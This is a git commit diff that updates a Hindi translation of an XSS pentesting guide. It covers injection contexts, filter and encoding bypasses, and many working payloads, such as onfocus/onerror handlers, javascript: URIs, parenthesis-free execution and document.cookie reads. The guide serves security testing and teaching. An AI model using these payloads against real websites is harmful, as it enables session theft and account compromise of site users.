Translated ['src/pentesting-web/xss-cross-site-scripting/README.md'] to

This commit is contained in:
Translator 2025-02-04 22:44:08 +00:00
parent 2f115d9d33
commit b89141c452

View File

@ -25,7 +25,7 @@
4. Javascript **कार्य** जो **निष्पादित** हो रहा है:
1. आप निष्पादित करने के लिए कार्य का नाम निर्दिष्ट कर सकते हैं। उदाहरण: `?callback=alert(1)`
4. यदि **उपयोग किया गया**:
1. आप एक **DOM XSS** का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित है और क्या आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है।**
1. आप एक **DOM XSS** का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित किया जाता है और क्या आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है।**
जब आप एक जटिल XSS पर काम कर रहे हों, तो जानना दिलचस्प हो सकता है:
@ -47,17 +47,17 @@ XSS का सफलतापूर्वक शोषण करने के
### कच्चा HTML
यदि आपका इनपुट **कच्चे HTML** पृष्ठ पर **परिलक्षित** है, तो आपको JS कोड निष्पादित करने के लिए कुछ **HTML टैग** का दुरुपयोग करना होगा: `<img , <iframe , <svg , <script` ... ये कुछ संभावित HTML टैग हैं जिनका आप उपयोग कर सकते हैं।\
यदि आपका इनपुट **कच्चे HTML** पृष्ठ पर **परिलक्षित**ोता है, तो आपको JS कोड निष्पादित करने के लिए कुछ **HTML टैग** का दुरुपयोग करना होगा: `<img , <iframe , <svg , <script` ... ये कुछ संभावित HTML टैग हैं जिनका आप उपयोग कर सकते हैं।\
इसके अलावा, [क्लाइंट साइड टेम्पलेट इंजेक्शन](../client-side-template-injection-csti.md) को ध्यान में रखें।
### HTML टैग विशेषता के अंदर
यदि आपका इनपुट किसी टैग की विशेषता के मान के अंदर परिलक्षित है, तो आप कोशिश कर सकते हैं:
यदि आपका इनपुट किसी टैग की विशेषता के मान के अंदर परिलक्षित होता है, तो आप कोशिश कर सकते हैं:
1. **विशेषता और टैग से बाहर निकलने** के लिए (फिर आप कच्चे HTML में होंगे) और दुरुपयोग के लिए नया HTML टैग बनाएं: `"><img [...]`
1. **विशेषता और टैग से बाहर निकलने** के लिए (फिर आप कच्चे HTML में होंगे) और दुरुपयोग करने के लिए नया HTML टैग बनाएं: `"><img [...]`
2. यदि आप **विशेषता से बाहर निकल सकते हैं लेकिन टैग से नहीं** (`>` को एन्कोड किया गया है या हटा दिया गया है), तो टैग के आधार पर आप **एक इवेंट बना सकते हैं** जो JS कोड निष्पादित करता है: `" autofocus onfocus=alert(1) x="`
3. यदि आप **विशेषता से बाहर नहीं निकल सकते** (`"` को एन्कोड किया गया है या हटा दिया गया है), तो यह निर्भर करता है कि **कौन सी विशेषता** में आपका मान परिलक्षित हो रहा है **यदि आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। **उदाहरण** के लिए, यदि आप एक इवेंट जैसे `onclick=` को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे। एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परिलक्षित है, तो आप **`accesskey`** ट्रिक का प्रयास कर सकते हैं (आपको इसे शोषित करने के लिए कुछ प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`**
4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परिलक्षित होता है, तो आप **`accesskey`** ट्रिक का प्रयास कर सकते हैं (आपको इसे शोषित करने के लिए कुछ प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="**
यदि आप एक वर्ग नाम को नियंत्रित करते हैं तो Angular द्वारा XSS निष्पादित करने का अजीब उदाहरण:
```html
@ -75,7 +75,7 @@ XSS का सफलतापूर्वक शोषण करने के
- `';-alert(1)//`
- `\';alert(1)//`
- यदि टेम्पलेट लिटेरल के अंदर परिलक्षित होता है, तो आप `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** कर सकते हैं: `` var greetings = `Hello, ${alert(1)}` ``
- **यूनिकोड एन्कोड** **मान्य जावास्क्रिप्ट कोड** लिखने के लिए काम करता है:
- **Unicode एन्कोड** **मान्य जावास्क्रिप्ट कोड** लिखने के लिए काम करता है:
```javascript
alert(1)
alert(1)
@ -83,7 +83,7 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting का मतलब है **फंक्शंस, वेरिएबल्स या क्लासेस को उनके उपयोग के बाद घोषित करने का अवसर, ताकि आप उन परिदृश्यों का दुरुपयोग कर सकें जहा XSS अघोषित वेरिएबल्स या फंक्शंस का उपयोग कर रहा है।**\
Javascript Hoisting का मतलब है **फंक्शंस, वेरिएबल्स या क्लासेस को उनके उपयोग के बाद घोषित करने का अवसर, ताकि आप उन परिदृश्यों का दुरुपयोग कर सकें जहा XSS अघोषित वेरिएबल्स या फंक्शंस का उपयोग कर रहा है।**\
**अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:**
{{#ref}}
@ -92,19 +92,19 @@ js-hoisting.md
### Javascript Function
कई वेब पृष्ठों में ऐसे एंडपॉइंट होते हैं जो **कार्यक्रम को निष्पादित करने के लिए फंक्शन के नाम को पैरामीटर के रूप में स्वीकार करते हैं।** एक सामान्य उदाहरण जो वास्तविक जीवन में देखने को मिलता है वह है: `?callback=callbackFunc`.
कई वेब पृष्ठों में ऐसे एंडपॉइंट होते हैं जो **कार्यक्रम को निष्पादित करने के लिए फंक्शन के नाम को पैरामीटर के रूप में स्वीकार करते हैं।** एक सामान्य उदाहरण जो वास्तविक जीवन में देखने को मिलता है वह है: `?callback=callbackFunc`.
यह पता लगाने का एक अच्छा तरीका है कि क्या उपयोगकर्ता द्वारा सीधे दिया गया कुछ निष्पादित करने की कोशिश कर रहा है, **पैरामीटर मान को संशोधित करना** (उदाहरण के लिए 'Vulnerable' में) और कंसोल में त्रुटियों की तलाश करना जैसे:
![](<../../images/image (711).png>)
यदि यह संवेदनशील है, तो आप केवल मान भेजकर **एक अलर्ट ट्रिगर** कर सकते हैं: **`?callback=alert(1)`**. हालाँकि, यह बहुत सामान्य है कि ये एंडपॉइंट **सामग्री को मान्य करेंगे** ताकि केवल अक्षर, संख्या, बिंदु और अंडरस्कोर (**`[\w\._]`**) की अनुमति दी जा सके।
यदि यह संवेदनशील है, तो आप केवल मान भेजकर **एक अलर्ट ट्रिगर** कर सकते हैं: **`?callback=alert(1)`**. हालाँकि, यह बहुत सामान्य है कि ये एंडपॉइंट **सामग्री को मान्य करेंगे** ताकि केवल अक्षर, संख्या, बिंदु और अंडरस्कोर की अनुमति हो (**`[\w\._]`**).
हालांकि, स सीमा के बावजूद कुछ क्रियाएँ करना अभी भी संभव है। इसका कारण यह है कि आप उन मान्य वर्णों का उपयोग करके **DOM में किसी भी तत्व तक पहुँच सकते हैं**:
हालांकि, स सीमा के बावजूद कुछ क्रियाएँ करना अभी भी संभव है। इसका कारण यह है कि आप उन मान्य वर्णों का उपयोग करके **DOM में किसी भी तत्व तक पहुँच सकते हैं**:
![](<../../images/image (747).png>)
इसके लिए कुछ उपयोगी फ़ंक्शन:
इसके लिए कुछ उपयोगी फंक्शंस:
```
firstElementChild
lastElementChild
@ -114,9 +114,9 @@ parentElement
```
आप सीधे **Javascript फ़ंक्शंस** को भी **ट्रिगर** करने की कोशिश कर सकते हैं: `obj.sales.delOrders`
हालांकि, आमतौर पर निर्दिष्ट फ़ंक्शन को निष्पादित करने वाले एंडपॉइंट्स ऐसे एंडपॉइंट्स होते हैं जिनमें ज्यादा दिलचस्प DOM नहीं होता है, **समान मूल के अन्य पृष्ठों** में **ज्यादा दिलचस्प DOM** होगा जिससे अधिक क्रियाएँ की जा सकें।
हालांकि, आमतौर पर निर्दिष्ट फ़ंक्शन को निष्पादित करने वाले एंडपॉइंट्स ऐसे एंडपॉइंट्स होते हैं जिनमें ज्यादा दिलचस्प DOM नहीं होता है, **समान मूल के अन्य पृष्ठों** में **ज्यादा दिलचस्प DOM** होगा ताकि अधिक क्रियाएँ की जा सकें।
इसलिए, **विभिन्न DOM में इस भेद्यता का दुरुपयोग करने के लिए** **Same Origin Method Execution (SOME)** शोषण विकसित किया गया:
इसलिए, **विभिन्न DOM में इस कमजोरियों का दुरुपयोग करने के लिए** **Same Origin Method Execution (SOME)** शोषण विकसित किया गया:
{{#ref}}
some-same-origin-method-execution.md
@ -132,7 +132,7 @@ dom-xss.md
### **Universal XSS**
इस प्रकार के XSS **कहीं भी** पाए जा सकते हैं। ये केवल एक वेब एप्लिकेशन के क्लाइंट शोषण पर निर्भर नहीं करते बल्कि **किसी भी** **संदर्भ** पर निर्भर करते हैं। इस प्रकार के **मनमाने JavaScript निष्पादन** का दुरुपयोग **RCE** प्राप्त करने, **क्लाइंट्स और सर्वरों में मनमाने** **फाइलों** को **पढ़ने**, और अधिक के लिए भी किया जा सकता है।\
इस प्रकार के XSS **कहीं भी** पाए जा सकते हैं। ये केवल एक वेब एप्लिकेशन के क्लाइंट शोषण पर निर्भर नहीं करते बल्कि **किसी भी** **संदर्भ** पर निर्भर करते हैं। इस प्रकार के **मनमाने JavaScript निष्पादन** का दुरुपयोग **RCE** प्राप्त करने, **क्लाइंट्स और सर्वर्स में मनमाने फ़ाइलों को पढ़ने**, और अधिक के लिए भी किया जा सकता है।\
कुछ **उदाहरण**:
{{#ref}}
@ -162,15 +162,15 @@ alert(1)
<svg onload=alert('XSS')>
```
लेकिन, यदि टैग/विशेषताएँ काली/सफेद सूचीकरण का उपयोग कर रही हैं, तो आपको **यह पता लगाने के लिए ब्रूट-फोर्स करना होगा कि कौन से टैग** आप बना सकते हैं।\
एक बार जब आप **यह पता लगा लेते हैं कि कौन से टैग अनुमत हैं**, तो आपको **पाए गए मान्य टैग के अंदर विशेषताएँ/इवेंट्स** के लिए ब्रूट-फोर्स करना होगा ताकि आप यह देख सकें कि आप संदर्भ पर कैसे हमला कर सकते हैं।
एक बार जब आप **यह पता लगा लेते हैं कि कौन से टैग अनुमत हैं**, तो आपको **पाई गई वैध टैग के अंदर विशेषताएँ/इवेंट्स का ब्रूट-फोर्स करना होगा** यह देखने के लिए कि आप संदर्भ पर कैसे हमला कर सकते हैं।
### टैग/इवेंट्स ब्रूट-फोर्स
जाएँ [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) और _**क्लिपबोर्ड में टैग कॉपी करें**_ पर क्लिक करें। फिर, सभी को Burp intruder का उपयोग करके भेजें और जांचें कि क्या कोई टैग WAF द्वारा दुर्भावनापूर्ण के रूप में खोजा नहीं गया था। एक बार जब आप यह पता लगा लेते हैं कि आप कौन से टैग का उपयोग कर सकते हैं, तो आप **मान्य टैग का उपयोग करके सभी इवेंट्स के लिए ब्रूट फोर्स कर सकते हैं** (एक ही वेब पृष्ठ पर _**क्लिपबोर्ड में इवेंट्स कॉपी करें**_ पर क्लिक करें और पहले की तरह ही प्रक्रिया का पालन करें)।
जाएँ [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) और _**क्लिपबोर्ड में टैग कॉपी करें**_ पर क्लिक करें। फिर, सभी को Burp intruder का उपयोग करके भेजें और जांचें कि क्या कोई टैग WAF द्वारा दुर्भावनापूर्ण के रूप में खोजा नहीं गया था। एक बार जब आप यह पता लगा लेते हैं कि आप कौन से टैग का उपयोग कर सकते हैं, तो आप वैध टैग का उपयोग करके **सभी इवेंट्स का ब्रूट-फोर्स कर सकते हैं** (एक ही वेब पृष्ठ पर _**क्लिपबोर्ड में इवेंट्स कॉपी करें**_ पर क्लिक करें और पहले की तरह ही प्रक्रिया का पालन करें)।
### कस्टम टैग
यदि आपने कोई मान्य HTML टैग नहीं पाया, तो आप **एक कस्टम टैग बनाने** और `onfocus` विशेषता के साथ JS कोड निष्पादित करने का प्रयास कर सकते हैं। XSS अनुरोध में, आपको URL को `#` के साथ समाप्त करना होगा ताकि पृष्ठ **उस वस्तु पर ध्यान केंद्रित करे** और **कोड** को **निष्पादित** करे:
यदि आपने कोई वैध HTML टैग नहीं पाया, तो आप **एक कस्टम टैग बनाने** और `onfocus` विशेषता के साथ JS कोड निष्पादित करने का प्रयास कर सकते हैं। XSS अनुरोध में, आपको URL को `#` के साथ समाप्त करना होगा ताकि पृष्ठ **उस वस्तु पर ध्यान केंद्रित करे** और **कोड को निष्पादित करे**:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
@ -234,23 +234,23 @@ onerror=alert`1`
<svg/onload=alert``> <script src=//aa.es> <script src=//.pw>
```
The last one is using 2 unicode characters which expands to 5: telsr\
इन पात्रों में से अधिक [यहाँ](https://www.unicode.org/charts/normalization/) मिल सकते हैं।\
यह जांचने के लिए कि कौन से पात्र विघटित होते हैं, [यहाँ](https://www.compart.com/en/unicode/U+2121) जांचें।
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
यदि भेद्यता का लाभ उठाने के लिए आपको **उपयोगकर्ता को एक लिंक या एक फॉर्म** पर क्लिक करने की आवश्यकता है जिसमें पूर्व-भरे हुए डेटा हैं, तो आप [**Clickjacking का दुरुपयोग करने की कोशिश कर सकते हैं**](../clickjacking.md#xss-clickjacking) (यदि पृष्ठ कमजोर है)।
यदि किसी भेद्यता का लाभ उठाने के लिए आपको **उपयोगकर्ता को एक लिंक या फॉर्म पर क्लिक करने की आवश्यकता है** जिसमें पूर्व-भरे हुए डेटा हैं, तो आप [**Clickjacking का दुरुपयोग करने की कोशिश कर सकते हैं**](../clickjacking.md#xss-clickjacking) (यदि पृष्ठ भेद्य है)।
### Impossible - Dangling Markup
यदि आप केवल यह सोचते हैं कि **JS कोड निष्पादित करने के लिए एक HTML टैग के साथ एक विशेषता बनाना असंभव है**, तो आपको [**Dangling Markup** ](../dangling-markup-html-scriptless-injection/index.html) की जांच करनी चाहिए क्योंकि आप **बिना** **JS** कोड निष्पादित किए भेद्यता का **लाभ उठा सकते हैं**
यदि आप सोचते हैं कि **JS कोड निष्पादित करने के लिए एक HTML टैग के साथ एक विशेषता बनाना असंभव है**, तो आपको [**Dangling Markup** ](../dangling-markup-html-scriptless-injection/index.html) की जांच करनी चाहिए क्योंकि आप **बिना** **JS** कोड निष्पादित किए भेद्यता का **लाभ उठा सकते हैं**
## Injecting inside HTML tag
### Inside the tag/escaping from attribute value
यदि आप **HTML टैग के अंदर हैं**, तो आप जो पहली चीज़ कर सकते हैं वह है **टैग से बचना** और [पिछले अनुभाग](#injecting-inside-raw-html) में उल्लेखित कुछ तकनीकों का उपयोग करके JS कोड निष्पादित करना।\
यदि आप **टैग से नहीं बच सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ पेलोड का उपयोग करके जैसे कि (_ध्यान दें कि इस उदाहरण में विशेषता से बचने के लिए डबल उद्धरण चिह्नों का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_) :
यदि आप **टैग से नहीं बच सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ पेलोड का उपयोग करके जैसे कि (_ध्यान दें कि इस उदाहरण में विशेषता से बचने के लिए डबल कोट्स का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_) :
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -274,7 +274,7 @@ The last one is using 2 unicode characters which expands to 5: telsr\
HTML टैग के attributes के मान के अंदर **HTML एन्कोडेड कैरेक्टर्स** **रनटाइम पर डिकोड** होते हैं। इसलिए निम्नलिखित कुछ इस तरह मान्य होगा (पेलोड बोल्ड में है): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
ध्यान दें कि **किसी भी प्रकार की HTML एन्कोड मान्य है**:
ध्यान दें कि **किसी भी प्रकार की HTML एन्कोडिंग मान्य है**:
```javascript
//HTML entities
&apos;-alert(1)-&apos;
@ -295,7 +295,7 @@ HTML टैग के attributes के मान के अंदर **HTML ए
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**Unicode एन्कोड का उपयोग करके इनसाइड इवेंट बायपास करें**
**यूनिकोड एन्कोड का उपयोग करके इनसाइड इवेंट बायपास करें**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -303,7 +303,7 @@ HTML टैग के attributes के मान के अंदर **HTML ए
```
### विशेष प्रोटोकॉल एट्रिब्यूट के भीतर
यहां आप कुछ स्थानों पर प्रोटोकॉल **`javascript:`** या **`data:`** का उपयोग कर सकते हैं **मनमाने JS कोड** को **निष्पादित** करने के लिए। कुछ को उपयोगकर्ता की इंटरैक्शन की आवश्यकता होगी और कुछ को नहीं।
यहां आप कुछ स्थानों पर **`javascript:`** या **`data:`** प्रोटोकॉल का उपयोग कर सकते हैं **मनमाना JS कोड** निष्पादित करने के लिए। कुछ को उपयोगकर्ता इंटरैक्शन की आवश्यकता होगी और कुछ को नहीं।
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -357,11 +357,11 @@ _**इस मामले में, पिछले अनुभाग से H
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
ध्यान दें कि यदि आप किसी भी क्रम में **दोनों** `URLencode + HTMLencode` का उपयोग करने की कोशिश करते हैं तो **payload** को एन्कोड करने के लिए यह **काम नहीं करेगा**, लेकिन आप **payload के अंदर उन्हें मिला सकते हैं**
ध्यान दें कि यदि आप किसी भी क्रम में **URLencode + HTMLencode** का **उपयोग** करने की कोशिश करते हैं तो यह **काम नहीं करेगा**, लेकिन आप **payload के अंदर उन्हें मिला सकते हैं**
**`javascript:` के साथ Hex और Octal एन्कोड का उपयोग करना**
**`javascript:` के साथ Hex और Octal encode का उपयोग करना**
आप **Hex** और **Octal एन्कोड** का उपयोग `iframe` के `src` विशेषता के अंदर (कम से कम) **HTML टैग्स को JS निष्पादित करने के लिए** कर सकते हैं:
आप **Hex** और **Octal encode** का उपयोग `iframe` के `src` गुण के अंदर (कम से कम) **HTML टैग्स को JS निष्पादित करने के लिए** कर सकते हैं:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
आप एक **XSS payload को एक छिपे हुए attribute के अंदर** निष्पादित कर सकते हैं, बशर्ते आप **शिकार** को **की संयोजन** दबाने के लिए **राजी** कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप access key attribute में एक अलग key का उपयोग करके एक अलग की संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है:
[**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fields) से: आप एक **छिपे हुए विशेषता** के अंदर **XSS पेलोड** निष्पादित कर सकते हैं, बशर्ते कि आप **शिकार** को **की संयोजन** दबाने के लिए **राजी** कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप एक्सेस की विशेषता में एक अलग कुंजी का उपयोग करके एक अलग की संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -430,7 +430,7 @@ onbeforetoggle="alert(2)" />
### ब्लैकलिस्ट बायपास
इस अनुभाग में विभिन्न एन्कोडिंग का उपयोग करने के कई ट्रिक्स पहले ही उजागर किए जा चुके हैं। **वापस जाएं और जानें कि आप कहां उपयोग कर सकते हैं:**
इस अनुभाग के भीतर विभिन्न एन्कोडिंग का उपयोग करने के कई ट्रिक्स पहले ही उजागर किए जा चुके हैं। **वापस जाएं और जानें कि आप कहां उपयोग कर सकते हैं:**
- **HTML एन्कोडिंग (HTML टैग)**
- **यूनिकोड एन्कोडिंग (मान्य JS कोड हो सकता है):** `\u0061lert(1)`
@ -440,15 +440,15 @@ onbeforetoggle="alert(2)" />
**HTML टैग और विशेषताओं के लिए बायपास**
[पिछले अनुभाग के ब्लैकलिस्ट बायपास पढ़ें](#blacklist-bypasses).
पढ़ें[ पिछले अनुभाग के ब्लैकलिस्ट बायपास](#blacklist-bypasses)।
**जावास्क्रिप्ट कोड के लिए बायपास**
[अगले अनुभाग के जावास्क्रिप्ट बायपास ब्लैकलिस्ट पढ़ें](#javascript-bypass-blacklists-techniques).
पढ़ें J[ावास्क्रिप्ट बायपास ब्लैकलिस्ट के अगले अनुभाग](#javascript-bypass-blacklists-techniques)।
### CSS-गैजेट्स
यदि आप वेब के एक **बहुत छोटे हिस्से** में **XSS** पाते हैं जो किसी प्रकार की इंटरैक्शन की आवश्यकता होती है (शायद फुटर में एक छोटा लिंक जिसमें एक onmouseover तत्व है), तो आप उस तत्व द्वारा कब्जा की गई जगह को **संशोधित करने** की कोशिश कर सकते हैं ताकि लिंक के सक्रिय होने की संभावनाओं को अधिकतम किया जा सके।
यदि आप वेब के एक **बहुत छोटे हिस्से** में **XSS** पाते हैं जो किसी प्रकार की इंटरैक्शन की आवश्यकता होती है (शायद फुटर में एक छोटा लिंक जिसमें एक onmouseover तत्व है), तो आप उस तत्व द्वारा कब्जा किए गए स्थान को **संशोधित करने** की कोशिश कर सकते हैं ताकि लिंक के सक्रिय होने की संभावनाओं को अधिकतम किया जा सके।
उदाहरण के लिए, आप तत्व में कुछ स्टाइलिंग जोड़ सकते हैं जैसे: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -468,7 +468,7 @@ onbeforetoggle="alert(2)" />
## जावास्क्रिप्ट कोड के अंदर इंजेक्ट करना
इन मामलों में आपका **इनपुट** **JS कोड** के एक `.js` फ़ाइल या `<script>...</script>` टैग के बीच या HTML इवेंट के बीच जो JS कोड को निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करते हैं, **प्रतिबिंबित** होने जा रहा है।
इन मामलों में आपका **इनपुट** **JS कोड** के एक `.js` फ़ाइल या `<script>...</script>` टैग के बीच या HTML इवेंट के बीच जो JS कोड को निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करते हैं, में **प्रतिबिंबित** होने वाला है।
### \<script> टैग को एस्केप करना
@ -476,7 +476,7 @@ onbeforetoggle="alert(2)" />
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
ध्यान दें कि इस उदाहरण में हमने **एकल उद्धरण को भी बंद नहीं किया है**। इसका कारण यह है कि **HTML पार्सिंग पहले ब्राउज़र द्वारा की जाती है**, जिसमें पृष्ठ तत्वों की पहचान करना शामिल है, जिसमें स्क्रिप्ट के ब्लॉक भी शामिल हैं। JavaScript का पार्सिंग, जो अंतर्निहित स्क्रिप्ट को समझने और निष्पादित करने के लिए किया जाता है, केवल बाद में किया जाता है।
ध्यान दें कि इस उदाहरण में हमने **एकल उद्धरण को भी बंद नहीं किया है**। इसका कारण यह है कि **HTML पार्सिंग पहले ब्राउज़र द्वारा की जाती है**, जिसमें पृष्ठ तत्वों की पहचान करना शामिल है, जिसमें स्क्रिप्ट के ब्लॉक भी शामिल हैं। JavaScript का पार्सिंग, जो अंतर्निहित स्क्रिप्ट को समझने और निष्पादित करने के लिए किया जाता है, केवल इसके बाद किया जाता है।
### JS कोड के अंदर
@ -488,10 +488,10 @@ onbeforetoggle="alert(2)" />
```
### Template literals \`\`
**स्ट्रिंग्स** को बनाने के लिए, एकल और दोहरे उद्धरणों के अलावा, JS भी **बैकटिक्स** **` `` `** को स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\
इसलिए, यदि आप पाते हैं कि आपका इनपुट एक JS स्ट्रिंग के अंदर **प्रतिबिंबित** हो रहा है जो बैकटिक्स का उपयोग कर रहा है, तो आप **मनमाने JS कोड** को निष्पादित करने के लिए `${ ... }` सिंटैक्स का दुरुपयोग कर सकते हैं:
**स्ट्रिंग्स** बनाने के लिए, एकल और दोहरे उद्धरणों के अलावा, JS **बैकटिक्स** **` `` `** को भी स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\
इसलिए, यदि आप पाते हैं कि आपका इनपुट एक JS स्ट्रिंग के अंदर **रिफ्लेक्ट** हो रहा है जो बैकटिक्स का उपयोग कर रहा है, तो आप **मनमाने JS कोड** को निष्पादित करने के लिए `${ ... }` सिंटैक्स का दुरुपयोग कर सकते हैं:
इस **दुरुपयोग** किया जा सकता है:
इसका **दुरुपयोग** किया जा सकता है:
```javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**जावास्क्रिप्ट नई पंक्तियाँ (से** [**जावास्क्रिप्ट नई पंक्ति**](#javascript-new-lines) **कला)**
**JavaScript नई पंक्तियाँ (से** [**JavaScript नई पंक्ति**](#javascript-new-lines) **कला)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@ -624,7 +624,7 @@ console.log(arguments);
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
@ -672,6 +672,7 @@ try{throw onerror=alert}catch{throw 1}
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
```
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
@ -738,27 +739,27 @@ top[8680439..toString(30)](1)
```
## **DOM कमजोरियाँ**
यहाँ **JS कोड** है जो **एक हमलावर द्वारा नियंत्रित असुरक्षित डेटा** का उपयोग कर रहा है जैसे `location.href`। एक हमलावर, इसे मनमाने JS कोड को निष्पादित करने के लिए दुरुपयोग कर सकता है।\
**DOM कमजोरियों के विवरण के विस्तार के कारण** [**इसे इस पृष्ठ पर स्थानांतरित किया गया है**](dom-xss.md)**:**
यहाँ **JS कोड** है जो **एक हमलावर द्वारा नियंत्रित असुरक्षित डेटा** का उपयोग कर रहा है जैसे कि `location.href`। एक हमलावर, इसे मनमाने JS कोड को निष्पादित करने के लिए दुरुपयोग कर सकता है।\
**DOM कमजोरियों के विस्तृत विवरण के कारण इसे इस पृष्ठ पर स्थानांतरित किया गया है** [**DOM कमजोरियों के लिए**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
वहाँ आपको **यहाँ DOM कमजोरियाँ क्या हैं, ये कैसे उत्पन्न होती हैं, और इन्हें कैसे शोषण किया जा सकता है** इसका विस्तृत **विवरण** मिलेगा।\
इसके अलावा, यह न भूलें कि **उल्लेखित पोस्ट के अंत में** आप [**DOM Clobbering हमलों**](dom-xss.md#dom-clobbering) के बारे में एक व्याख्या पा सकते हैं।
वहाँ आपको **यहाँ DOM कमजोरियाँ क्या हैं, ये कैसे उत्पन्न होती हैं, और इन्हें कैसे शोषण किया जा सकता है** इसका विस्तृत **व्याख्या** मिलेगी।\
इसके अलावा, यह न भूलें कि **उल्लेखित पोस्ट के अंत में** आप [**DOM क्लॉबरिंग हमलों**](dom-xss.md#dom-clobbering) के बारे में एक व्याख्या पा सकते हैं।
### Self-XSS को अपग्रेड करना
### कुकी XSS
यदि आप एक कुकी के अंदर पेलोड भेजकर XSS को ट्रिगर कर सकते हैं, तो यह आमतौर पर एक self-XSS है। हालाँकि, यदि आप **XSS के लिए कमजोर उपडोमेन** पाते हैं, तो आप इस XSS का दुरुपयोग करके पूरे डोमेन में एक कुकी इंजेक्ट कर सकते हैं, जिससे मुख्य डोमेन या अन्य उपडोमेनों (जो कुकी XSS के लिए कमजोर हैं) में कुकी XSS को ट्रिगर किया जा सके। इसके लिए आप कुकी टॉसिंग हमले का उपयोग कर सकते हैं:
